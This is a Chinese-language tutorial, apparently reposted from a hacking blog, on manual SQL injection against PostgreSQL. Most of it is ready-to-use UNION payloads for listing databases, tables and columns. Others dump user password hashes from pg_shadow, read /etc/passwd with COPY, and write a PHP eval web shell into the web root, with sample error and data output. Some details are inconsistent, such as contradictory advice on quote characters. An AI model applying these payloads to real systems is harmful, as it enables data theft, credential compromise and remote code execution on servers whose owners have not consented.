来源:自学PHP网 时间:2015-04-17 13:02 作者: 阅读:次
[导读] 作者:Nana本文很抱歉没有实例,没有截图。像我这个不善于Google的人来说,要找一个Postgresql的注入实例还是不太容易,所以,不解释。只有枯燥的语句,和回显作为例子。SQL软件中,不...
作者:Nana
本文很抱歉没有实例,没有截图。 像我这个不善于Google的人来说,要找一个Postgresql的注入实例还是不太容易,所以,不解释。 只有枯燥的语句,和回显作为例子。 SQL软件中,不管是MSSQL,MySQL,Oracle还是Access或者是informix,firebird,db2,他们的SQL逻辑和语法都是万变不离其宗的。虽然这么说,但是不建议注入初学者来看本文。因为我不会把每个函数或者语法都解释一遍。 直接阅读本文,菜鸟肯定有难度,又没有实例,但是懂SQL手注的人阅读起来还是相当容易的。 -------------------------------------------------------------------------------- 在注入中常用的几个注入语法通常有这么几个: --显示版本 --从已知表段字段爆数据 --列库 --列数据库中的表段 --列表段中的字段 --读取配置信息,例如数据库登陆账户和密码 --读写文件 那我就一个一个来讲这些Postgresql的语法是怎样的 --显示版本 www.2cto.com select version(); union select 1,2,...n,version() //version()函数与MySQL的是一样的 回显数据举例: PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46) --从已知表段字段爆数据 select aa from bb where cc=dd; union select 1,2,....n,aa from bb where cc=dd //所有的SQL语法几乎都是这样的语法来爆数据 无举例 --列库 select datname from pg_database; union select 1,2,....,n,datname from pg_database; 回显举例: postgres,prc,template1,template0 --列数据库中的表段 select relname from pg_stat_user_tables limit 1 offset n; //类似于MySQL中的information_schema.tables,虽然不大恰当 union select relname from pg_stat_user_tables limit 1 offset 3; //limit 1 offset 0和MySQL的limit 0,1一个效果。 无举例 --列表段中的字段 select column_name from information_schema.columns where table_name='xxx' limit 1 offset n; union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5 //同MySQL --读取配置信息,例如数据库登陆账户和密码 select usename,passwd from pg_shadow; union select 1,2,...n,usename,passwd from pg_shadow //pg_shadow数据库类似于MySQL中的mysql数据库 root账户为postgres 回显举例: postgres 9d2e7638fd7c7e433f0074a8f65cfd3a --读取文件 copy test from '/etc /passwd'with delimiter E'\t'; (注:网上多数关于Postgresql的语句中是双引号,实际测试,8.x到9.x双引号无效,应该用双引号) 回显举例: Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: "root:x:0:0:root:/root:/bin/bash" --写入文件 insert into test values ('<?php eval($_POST["cmd"];?>'); copy test(code) to ”/var/www/one.php”; 回显举例: Query failed: ERROR: could not open file "/var/www/html/aaa.php" for writing: Permission denied pg_file_read()不如MySQL中的load_file()那么好用 例如: select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf')); 则回显: Query failed: ERROR: function pg_file_length("unknown") does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts. Postgresql我也不是特别熟,所以写到这里。 //blackbap.org |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com